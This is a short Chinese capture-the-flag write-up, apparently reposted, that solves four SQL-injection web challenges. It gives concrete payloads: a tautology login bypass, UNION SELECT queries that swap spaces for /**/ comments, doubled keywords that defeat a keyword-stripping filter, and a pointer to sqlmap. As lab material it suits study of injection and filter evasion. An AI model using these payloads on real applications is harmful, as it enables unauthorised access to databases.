实验吧 web题--注入类

来源:互联网 发布:阿尔法复制软件 编辑:程序博客网 时间:2024/06/07 18:45

1、登陆一下好吗

SQL语句:select * from user where username='用户名' and password='密码'
尝试1'='1并没有得到flag,因为表中没有username=1。于是通过构造1'='0进行注入,并且得到flag。执行的语句为select * from user where username='1'='0' and password='1'='0'

2、简单的sql注入3

直接用sqlmap就ok

3、简单的sql注入2

经过注入尝试,程序将空格注释掉了,在sql语句中,可以用/**/代替空格

'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1

4、简单的sql注入

输入'union select flag from flag where '1'='1,得到返回结果:'flag flag '1'='1''。可以判断将关键字进行了注释。

输入'unionunion selectselect flag fromfrom flag wherewhere '1'='1,得到返回结果:'unionselectflag fromflag where'1'='1''。可以判断将空格进行了注释
输入两遍空格和关键字:?id=1' unionunion  selectselect  flag  fromfrom  flag  wherewhere  '1'='1,得到flag

原创粉丝点击